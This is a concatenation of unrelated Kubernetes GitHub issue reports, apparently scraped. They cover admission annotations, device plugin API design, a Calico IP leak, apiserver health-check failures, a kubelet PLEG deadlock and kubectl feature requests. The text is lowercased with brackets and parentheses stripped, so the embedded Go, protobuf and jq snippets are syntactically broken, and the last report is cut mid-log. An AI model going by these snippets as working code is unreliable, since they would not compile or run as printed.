 \r @kubernetes/sig-scheduling-bugs \r \r newer admission controllers generally call out when they're alpha/beta. while  podnodeselector  and  podtolerationrestriction  don't have an explicit status, they rely on alpha annotations.\r \r https://kubernetes.io/docs/admin/admission-controllers/\r \r    \r scheduler.alpha.kubernetes.io/node-selector\r scheduler.alpha.kubernetes.io/defaulttolerations\r scheduler.alpha.kubernetes.io/tolerationswhitelist\r    \r \r are these alpha features? i've seen them come up a lot lately, particularly in the context of multitenancy and devoted nodes.\r \r https://docs.google.com/document/d/1jacsc4slgev9__tdgjrmvpa3g73g62tftmckqgeilhm/edit

is this a bug report or feature request?  :\r   /area hw-accelerators\r /cc @vishh @jiayingz @vikaschoudhary16 \r \r   what happened  :\r at the moment device plugin allocate call is called once for each container at pod admition time.\r as we introduce the initialize call, this behavior is no longer needed.\r this behavior also leads to weird api semantics and makes it really hard for the device plugin to track what device is allocated and what device isn't  related:  deallocate  https://github.com/kubernetes/kubernetes/issues/59110 ,  partial allocation failures  https://github.com/kubernetes/kubernetes/issues/56307  .\r \r   what you expected to happen  :\r we could change the lifecycle of this call to a single call at pod admition time that would gather all the needed runtime setup requirements.\r \r it is also a good foundation for integrating the  numa manager  https://github.com/kubernetes/community/pull/1680  with the device plugin api as well as passing  additional information to the device plugin  https://github.com/kubernetes/kubernetes/issues/59109  depending on what agreement we arrive at.\r \r in general it makes the lifecycle model cleaner as we have one call at pod admission   podadmit ?  and one call before each container start   initializecontainer ? .\r \r it will also pave the way for a better sharing api as the device plugin will have a better view of what is being shared at the pod level  eg: nics  rather than try to guess what device gets shared at the container level  though this might not apply for all devices, e.g: gpus .\r \r the grpc api might look like the following:\r    protobuf\r // admitpodrequest is a call issued by the kubelet during pod admission\r // todo this message should be used by the cpu manager\r // todo the first two fields might be a good answer for  issue  59109\r message admitpodrequest {\r         // name of the pod\r         string podname = 1;\r \r         // annotations on the pod\r         map<string, string> annotations = 2;\r \r         // list of initcontainers with the assigned devices\r         repeated container init_containers = 3;\r \r         // list of containers with the assigned devices\r         repeated container containers = 4;\r }\r \r message admitpodresponse {\r         // map<containername, containerruntimespec>\r         map<string, runtimespec> specs = 1;\r }\r \r message container {\r         // the name of the container\r         string name = 1;\r         // the device assigned to that container\r         repeated string devices = 2;\r }\r \r message runtimespec {\r         // list of environment variable to be set in the container to access one of more devices.\r \tmap<string, string> envs = 1;\r \t// mounts for the container.\r \trepeated mount mounts = 2;\r \t// devices for the container.\r \trepeated devicespec devices = 3;\r }\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r >  \r \r   what happened  :\r there is more allocated ips of one node in calico-etcd then the actual number of pods or number of routes  on that node. \r \r   what you expected to happen  :\r the number of allocated ips of one node in calico-etcd is the same as the number of the pods in that node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. use kubectl to create a pod\r 2. docker rm -f <pause container id of the pod> // then kubelet will restart a new pause container\r 3. systemctl restart kubelet\r 4. use kubectl to delete the pod\r \r   anything else we need to know?  :\r here is the issue which i submit to calico, including kubelet logs: https://github.com/projectcalico/calico/issues/1682\r it seems that after kubelet is restarted, kubelet doesn't call cni to release ip. \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.4\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : centos linux release 7.2.1511  core \r - kernel  e.g.  uname -a  : 3.10.0-327.28.3.el7.x86_64\r - install tools: kubeadm \r - others: calico v3.0.1\r \r @kubernetes/sig-node-bugs

this is blocking 1.11.4 from being released.\r \r http://k8s-testgrid.appspot.com/sig-release-1.11-blocking kubeadm-gce-1.11\r http://k8s-testgrid.appspot.com/sig-release-1.11-blocking kubeadm-gce-1.10-on-1.11\r \r \r cc @kubernetes/sig-cluster-lifecycle @kubernetes/sig-release-bugs

for https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2572?log log the cluster upgrade failed.\r \r looking at the failure, it seems to be an inopportune restart of apiserver.  the new master comes up, apiserver starts, but then it restarts.  the upgrade test hits it during the restart, it looks like.  logs: https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2572/artifacts/bootstrap-e2e-master/kube-apiserver.log-20181024-1540382414.gz\r \r the reason for the apiserver restart was that kube-apiserver failed its liveness probe https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2572/artifacts/bootstrap-e2e-master/kubelet.log:\r  i1024 05:18:39.900870    1569 kuberuntime_manager.go:565  container \ kube-apiserver\   {\ docker\  \ 2a1b78c8c811fe0939404eacf2eb815ff787ea636e1b6920fa9186c4b181eb1e\ }  of pod kube-apiserver-bootstrap-e2e-master_kube-system b13798debb0d0cb04a19e77831d7cf26 : container failed liveness probe.. container will be killed and recreated. \r \r the liveness probe for api server is hitting :8080, and indeed it was failing its health check  apiserver log again :\r \r    \r i1024 05:18:28.000676       1 wrap.go:42  get /healthz:  36.143742ms  500\r goroutine 5739  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc006619180, 0x1f4 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:204 +0xd2\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc006619180, 0x1f4 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:183 +0x35\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  basetimeoutwriter .writeheader 0xc0029ef840, 0x1f4 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:197 +0xaf\r net/http.error 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00cea4000, 0x338, 0x1f4 \r         /usr/local/go/src/net/http/server.go:1976 +0xda\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/healthz.handleroothealthz.func1 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fc00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/healthz/healthz.go:162 +0x3fe\r net/http.handlerfunc.servehttp 0xc014103880, 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fc00 \r         /usr/local/go/src/net/http/server.go:1964 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc006eb0d80, 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fc00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:241 +0x510\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc00a8cef50, 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fc00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x8a\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3e7a8de, 0xf, 0xc008697170, 0xc00a8cef50, 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fc00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:154 +0x661\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fc00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:64 +0x4b4\r net/http.handlerfunc.servehttp 0xc00a8d3240, 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fc00 \r         /usr/local/go/src/net/http/server.go:1964 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fc00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:160 +0x3ff\r net/http.handlerfunc.servehttp 0xc0060e7a40, 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fc00 \r         /usr/local/go/src/net/http/server.go:1964 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fc00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:50 +0x1ed9\r net/http.handlerfunc.servehttp 0xc00a8d3280, 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fc00 \r         /usr/local/go/src/net/http/server.go:1964 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withaudit.func1 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fc00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/audit.go:54 +0x645\r net/http.handlerfunc.servehttp 0xc00a8d32c0, 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fc00 \r         /usr/local/go/src/net/http/server.go:1964 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fb00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:81 +0x456\r net/http.handlerfunc.servehttp 0xc0042099f0, 0x7feed9dd2ce8, 0xc0070ebc98, 0xc00d23fb00 \r         /usr/local/go/src/net/http/server.go:1964 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc00f040540, 0xc00a91cbe0, 0x5cb0580, 0xc0070ebc98, 0xc00d23fb00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:100 +0xb3\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:96 +0x1b0\r \r logging error output: \  + ping ok\  + log ok\  + etcd ok\  + poststarthook/generic-apiserver-start-informers ok\  + poststarthook/start-apiextensions-informers ok\  + poststarthook/start-apiextensions-controllers ok\  + poststarthook/bootstrap-controller ok\  - poststarthook/rbac/bootstrap-roles failed: reason withheld\  + poststarthook/scheduling/bootstrap-system-priority-classes ok\  + poststarthook/ca-registration ok\  + poststarthook/start-kube-apiserver-informers ok\  + poststarthook/start-kube-apiserver-admission-initializer ok\  + poststarthook/start-kube-aggregator-informers ok\  + poststarthook/apiservice-registration-controller ok\  + poststarthook/apiservice-status-available-controller ok\  + poststarthook/apiservice-openapi-controller ok\  + poststarthook/kube-apiserver-autoregistration ok\  + autoregister-completion ok\ healthz check failed\ \ \r   curl/7.38.0 35.232.52.86:34956 \r    \r \r i'm guessing this is due to  poststarthook/rbac/bootstrap-roles failed: reason withheld \r \r looking at the next run, i'm hypothesizing that rbac updates just take too long, and so it's marginal as to whether the bootstrap roles complete in time.\r \r   \r cc @jberkus

the controller manager handles controller clients via the  controllerclientbuilder  interface.  the core implementation is  sacontrollerclientbuilder   see  k8s.io/kubernetes/pkg/controller/client_builder.go  .  to get a client for a specific service account, it ensures that the service account exists, and then waits for the token controller to create a secret that contains the service account's token.  while the long term desire may be to remove the token controller, we can work towards that goal by moving these clients to the  tokenrequest  api.\r \r action items:\r \r 1. switch the controller manager clients to auto rotating tokens not persisted in secrets\r 1.  sacontrollerclientbuilder  should check if the  tokenrequest  api is available and use it, otherwise it should fallback to the current behavior of using secret based tokens\r 1. determine how to opt out of the token controller generated secrets  so that the only tokens for these controller clients are ephemeral and short lived \r 1. possibly clean up legacy tokens for the controller service accounts after a release\r \r   \r @kubernetes/sig-auth-feature-requests \r \r xref:  70679

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r   what happened  :\r \r in our stress testing, we found the deadlock issue in pleg relist   for healthy checking and kubelet syncloop  \r \r the goroutine stack trace is as following\r \r    \r goroutine 386  chan send, 1140 minutes :\r k8s.io/kubernetes/pkg/kubelet/pleg.  genericpleg .relist 0xc42069ea20 \r \t/workspace/anago-v1.11.5-beta.0.24+753b2dbc622f5c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pleg/generic.go:261 +0x74e\r k8s.io/kubernetes/pkg/kubelet/pleg.  genericpleg . k8s.io/kubernetes/pkg/kubelet/pleg.relist -fm  \r \t/workspace/anago-v1.11.5-beta.0.24+753b2dbc622f5c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pleg/generic.go:130 +0x2a\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc4212ee520 \r \t/workspace/anago-v1.11.5-beta.0.24+753b2dbc622f5c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x54\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc4212ee520, 0x3b9aca00, 0x0, 0x1, 0xc420056540 \r \t/workspace/anago-v1.11.5-beta.0.24+753b2dbc622f5c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xbd\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc4212ee520, 0x3b9aca00, 0xc420056540 \r \t/workspace/anago-v1.11.5-beta.0.24+753b2dbc622f5c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d\r created by k8s.io/kubernetes/pkg/kubelet/pleg.  genericpleg .start\r \t/workspace/anago-v1.11.5-beta.0.24+753b2dbc622f5c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pleg/generic.go:130 +0x88\r ...\r goroutine 309  sleep :\r time.sleep 0x12a05f200 \r \t/usr/local/go/src/runtime/time.go:102 +0x166\r k8s.io/kubernetes/pkg/kubelet.  kubelet .syncloop 0xc4205e3b00, 0xc420ff2780, 0x3e56a60, 0xc4205e3b00 \r \t/workspace/anago-v1.11.5-beta.0.24+753b2dbc622f5c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1777 +0x1e7\r k8s.io/kubernetes/pkg/kubelet.  kubelet .run 0xc4205e3b00, 0xc420ff2780 \r \t/workspace/anago-v1.11.5-beta.0.24+753b2dbc622f5c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1396 +0x27f\r k8s.io/kubernetes/cmd/kubelet/app.startkubelet.func1  \r \t/workspace/anago-v1.11.5-beta.0.24+753b2dbc622f5c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:998 +0x67\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc42105dfb0 \r \t/workspace/anago-v1.11.5-beta.0.24+753b2dbc622f5c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x54\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc42105dfb0, 0x0, 0x0, 0x1, 0xc420056540 \r \t/workspace/anago-v1.11.5-beta.0.24+753b2dbc622f5c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xbd\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0xc42105dfb0, 0x0, 0xc420056540 \r \t/workspace/anago-v1.11.5-beta.0.24+753b2dbc622f5c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d\r created by k8s.io/kubernetes/cmd/kubelet/app.startkubelet\r \t/workspace/anago-v1.11.5-beta.0.24+753b2dbc622f5c/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:996 +0xea\r ...\r    \r \r we did some investigation, and found the following issue.\r \r    \r ...\r func  kl  kubelet  syncloop updates <-chan kubetypes.podupdate, handler synchandler  {\r ...\r \tfor {\r \t\tif rs := kl.runtimestate.runtimeerrors  ; len rs  != 0 {\r \t\t\tglog.infof \ skipping pod synchronization - %v\ , rs \r \t\t\t// exponential backoff\r \t\t\ttime.sleep duration \r \t\t\tduration = time.duration math.min float64 max , factor float64 duration   \r \t\t\tcontinue\r \t\t}\r \t\t// reset backoff if we have a success\r \t\tduration = base\r \r \t\tkl.syncloopmonitor.store kl.clock.now   \r \t\tif !kl.syncloopiteration updates, handler, syncticker.c, housekeepingticker.c, plegch  {\r \t\t\tbreak\r \t\t}\r \t\tkl.syncloopmonitor.store kl.clock.now   \r \t}\r }\r \r ...\r func  kl  kubelet  syncloopiteration configch <-chan kubetypes.podupdate, handler synchandler,\r \tsyncch <-chan time.time, housekeepingch <-chan time.time, plegch <-chan  pleg.podlifecycleevent  bool {\r \tselect {\r          ...\r \tcase e := <-plegch:\r \t\tif issyncpodworthy e  {\r \t\t\t// pleg event for a pod; sync it.\r \t\t\tif pod, ok := kl.podmanager.getpodbyuid e.id ; ok {\r \t\t\t\tglog.v 2 .infof \ syncloop  pleg : %q, event: % v\ , format.pod pod , e \r \t\t\t\thandler.handlepodsyncs    v1.pod{pod} \r \t\t\t} else {\r \t\t\t\t// if the pod no longer exists, ignore the event.\r \t\t\t\tglog.v 4 .infof \ syncloop  pleg : ignore irrelevant event: % v\ , e \r \t\t\t}\r \t\t}\r \r \t\tif e.type == pleg.containerdied {\r \t\t\tif containerid, ok := e.data. string ; ok {\r \t\t\t\tkl.cleanupcontainersinpod e.id, containerid \r \t\t\t}\r \t\t}\r          ...\r \t}\r \treturn true\r }\r    \r \r the main loop for event processing in kubelet will check if there are some runtimeerrors: if yes, wait until runtime back to normal; if no, it will call syncloopiteration to read and process events. \r \r and the runtime healthchecks depends on the genericpleg.relist. but in the relist   impl, it will send the pod lifecycle event to eventchannel which may introduce deadlock when eventchannel is full. \r \r    \r func  g  genericpleg  relist   {\r         ...\r \t// if there are events associated with a pod, we should update the\r \t// podcache.\r \tfor pid, events := range eventsbypodid {\r                  ... \r \t\tfor i := range events {\r \t\t\t// filter out events that are not reliable and no other components use yet.\r \t\t\tif events i .type == containerchanged {\r \t\t\t\tcontinue\r \t\t\t}\r \t\t\tg.eventchannel <- events i \r \t\t}\r \t}\r \r \t... \r }\r \r    \r \r \r and in the above code, the eventchannel will not be consumed if the runtime is not healthy. in some situation, the eventchannel may full, and the relist   will hang in sending new pod lifecycle event. and the runtime status will not be able to recovered. \r \r it is related to issues  45419\r \r   what you expected to happen  :  \r \r no such issue\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r it is not easy to reproduce, it happens after few days stress testing  scaling the deployment repeatedly with high load . \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.5\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release :  centos 7.4\r - kernel  e.g.  uname -a  :\r linux bjc-qtt-k8s-node-010 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r \r <!-- do not edit below this line -->\r 

hello,\r \r we would like either :\r - either prevent user to specify / or change externalips inside service loadbalancer\r - or, have more fined grained permissions rbac  allow a user to create clusterip services but not loadbalancer services for example \r \r \r we would like to avoid user to specify manually an externalips  like public master ips, or others lambdas ip routed to master \r is that possible ? \r \r we could have an admin rule to setup externalips allowed ranges ? like 50.0.0.0/30 for example, or 50.0.0.2/32\r \r thanks\r \r thanks\r

kubernetes will be available on the mesosphere dcos. add a tutorial that explains how to do this.

e.g.  https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/30383/kubernetes-pull-test-unit-integration/38902/build-log.txt  i believe this is because we have some places in the code where we  glog.fatal , we should probably never do that.  but i'm not positive.

feature request  kubectl run  should provide options to mount a pvc or pv for situations where i simply want to start a pod and provide it storage for the duration of what i am doing / testing.

when  kubectl  is given a crud command for a resource   pod ,  replicationcontroller ,  service  , if it is not explicitly given a path to a config file, it should try a systematic file system lookup pattern for a config file for that resource.  presumably these crud commands are being issued for a project and therefore i think the lookup pattern would not go beyond the  cwd . _however_... it would be interesting if the command could be issues within any directory inside a project.  git  for instance gets away with this because it assumes the project root has a  .git  folder.  some sketchy ideas: 1. per-resource config files like  .kubernetes-pod.yaml ,  .kubernetes-replicationcontroller.yaml , etc. 2. single config file like  .kubernetes.yaml  3. directory like  .kubernetes  with per-resource config files therein like  pod.yaml ,  replicationcontroller.yaml , etc. 4. directory like  .kubernetes  with single config file like  config.yaml   a  .kubernetes  _folder_ seems somewhat interesting: - a folder space for additional meta files and other resources; perhaps a place for plugins/higher-level-tools to add functionality in a standardized way - a folder that provides the aforementioned ability for  kubectl  to detect the \ project root\   do not necessarily take this idea too literally, its just a sketch for a general feature-characteristic. lots of ways this could be skinned/go. the goal is ultimately: 1. a way to streamline defaults  e.g. auto-discovered config files  2. a standard way for extensions to plant themselves

when an auth proxy tries to proxy an anonymous request, the user.info ends up with the group system:authenticated, which is wrong.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-multizone/5940/ failed:  k8s.io  dns should provide dns for services  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:411 expected error:     < errors.errorstring | 0xc4203c4280>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns.go:230       previous issues for this test:  26168  27450

we've used kubernetes for a long time. there are some cases that we want/need to delete specific pods when scaling a deployment to smaller replicas, e.g.\r \r   case 1: we want to delete deployment a's pods on node n and do not affect deployment b's pods on the same node node n .\r \r   case 2: we register deployment a's pods' ip to a load balancer. then we remove some pods' ip from the load balancer for some reason. now we want to delete those pods.\r \r   problem  \r the problem is that rs controller might delete pods that are not what we want when scaling.\r \r   our solution  \r label those pods that we want delete  with a label e.g. pod_to_delete=true . when rs controller delete pods, it will sort pods with some algorithm activepods.less   at  pkg/controller/controller_utils.go  , we could change the algorithm to make pods with the label to be deleted first.\r \r operations to delete specific pods are very easy:\r 1. label them using  kubectl label pod pod-xxx pod_to_delete=true \r 2. scale the deployment to a smaller replicas

i was running into an issue running the federation e2e tests with >1 cluster: when starting to run the tests, the test script would fail to list the nodes in the cluster hosting the federation with an \ x509 invalid certificate\  error. it worked fine with one cluster, however. @madhusudancs and i debugged this, and realized that the e2e script was using my local context to try to interact with the host cluster's api server. because my e2e_zones environment variable had the clusters in \ host non-host\  order, the scripts to bring up the clusters would set the context to \ non-host\  on my machine, which meant that the script was using the wrong credentials to access the host cluster. i was able to fix this by setting my context to \ host\ .\r \r ideally, the scripts should not be affected by the local kubecontext state in this way, and should always use the correct credentials regardless of the state of the local kubecontext.\r

what happened  :\r \r i'd like to have a simple command to check for pods that are currently not ready\r \r   what you expected to happen  :\r \r i can see a couple of options:\r \r   there is some magic flag i am not aware of\r   having a flag for  kubectl get  to filter the output using go/jsonpath\r   distinguish between pod phase  running&ready  and  running \r   flag to filter on ready status\r \r   how to get that currently  :\r \r    \r kubectl get pods --all-namespaces -o json  | jq -r '.items   | select .status.phase != \ running\  or    .status.conditions   | select .type == \ ready\  and .state == false    | length   == 1   | .metadata.namespace + \ /\  + .metadata.name'\r    \r

need e2e tests for https://github.com/kubernetes/features/issues/271 which is being released as part of release 1.8.\r \r cc @piosz who is working on the tests.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r   \r >  \r \r   what happened  :\r \r when i call  kubefed join , it failed due to some invalid configuration, and then after update the configuration, call  kubefed join  again, it reports that there is an sa already in use and cannot add the cluster.\r \r   what you expected to happen  :\r \r we should clear the garbage sa, clusterrole, clusterrolebindings etc if  kubefed init  failed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

 \r   what happened  :\r \r kubernetes cronjob pods generate invalid \ unable to mount volumes for pod\  errors.\r \r   what you expected to happen  :\r \r we expect no error-level logs to be generated upon successful cronjob run.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a kube cronjob, in our case one that runs every minute.\r \r observe error-level logs in kubelet.log:\r    \r $ grep myservice-1508344140-6pxrd kubelet.log | grep \ ^e\ \r e1018 16:31:09.130068    1415 kubelet.go:1549  unable to mount volumes for pod \ myservice-1508344140-6pxrd_foo 7541311e-b421-11e7-b3c3-00505693fce2 \ : timeout expired waiting for volumes to attach/mount for pod \ foo\ /\ myservice-1508344140-6pxrd\ . list of unattached/unmounted volumes= etc-ssh user-ssh configmap-mount default-token-grftr ; skipping pod\r e1018 16:31:09.130102    1415 pod_workers.go:182  error syncing pod 7541311e-b421-11e7-b3c3-00505693fce2  \ myservice-1508344140-6pxrd_foo 7541311e-b421-11e7-b3c3-00505693fce2 \  , skipping: timeout expired waiting for volumes to attach/mount for pod \ foo\ /\ myservice-1508344140-6pxrd\ . list of unattached/unmounted volumes= etc-ssh user-ssh configmap-mount default-token-grftr \r    \r \r however, the pods are running successfully, as we can see in the pod yaml after completion:\r    \r   containerstatuses:\r   - restartcount: 0\r     state:\r       terminated:\r         containerid: docker://1b76ad2ac7a5d00e3dc10fb7520c77420ccb74569aa6c162829a691808d73a44\r         exitcode: 0\r         finishedat: 2017-10-18t16:29:08z\r         reason: completed\r         startedat: 2017-10-18t16:29:07z\r   phase: succeeded\r    \r \r  longer yaml context provided in next section. \r \r   anything else we need to know?  :\r \r   larger log context for said pod  \r    \r $ grep myservice-1508344140-6pxrd kubelet.log | grep \ ^ ewi \ \r i1018 16:29:05.345489    1415 kubelet.go:1808  syncloop  add, \ api\  : \ myservice-1508344140-6pxrd_foo 7541311e-b421-11e7-b3c3-00505693fce2 \ \r i1018 16:29:05.650448    1415 kuberuntime_manager.go:370  no sandbox for pod \ myservice-1508344140-6pxrd_foo 7541311e-b421-11e7-b3c3-00505693fce2 \  can be found. need to start a new one\r i1018 16:29:07.092067    1415 kubelet.go:1842  syncloop  pleg : \ myservice-1508344140-6pxrd_foo 7541311e-b421-11e7-b3c3-00505693fce2 \ , event: &pleg.podlifecycleevent{id:\ 7541311e-b421-11e7-b3c3-00505693fce2\ , type:\ containerstarted\ , data:\ dbc1ad36cdf98814e2d3def69e980c5fe4537906cdee561a871570c671ffbe25\ }\r i1018 16:29:08.108630    1415 kubelet.go:1842  syncloop  pleg : \ myservice-1508344140-6pxrd_foo 7541311e-b421-11e7-b3c3-00505693fce2 \ , event: &pleg.podlifecycleevent{id:\ 7541311e-b421-11e7-b3c3-00505693fce2\ , type:\ containerstarted\ , data:\ 1b76ad2ac7a5d00e3dc10fb7520c77420ccb74569aa6c162829a691808d73a44\ }\r i1018 16:29:09.129501    1415 kubelet.go:1842  syncloop  pleg : \ myservice-1508344140-6pxrd_foo 7541311e-b421-11e7-b3c3-00505693fce2 \ , event: &pleg.podlifecycleevent{id:\ 7541311e-b421-11e7-b3c3-00505693fce2\ , type:\ containerdied\ , data:\ 1b76ad2ac7a5d00e3dc10fb7520c77420ccb74569aa6c162829a691808d73a44\ }\r i1018 16:29:11.006649    1415 kubelet_pods.go:917  killing unwanted pod \ myservice-1508344140-6pxrd\ \r w1018 16:29:11.360836    1415 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ myservice-1508344140-6pxrd_foo\ : cannot find the network namespace, skipping pod network status for container {\ docker\  \ dbc1ad36cdf98814e2d3def69e980c5fe4537906cdee561a871570c671ffbe25\ }\r i1018 16:29:11.364102    1415 kubelet.go:1842  syncloop  pleg : \ myservice-1508344140-6pxrd_foo 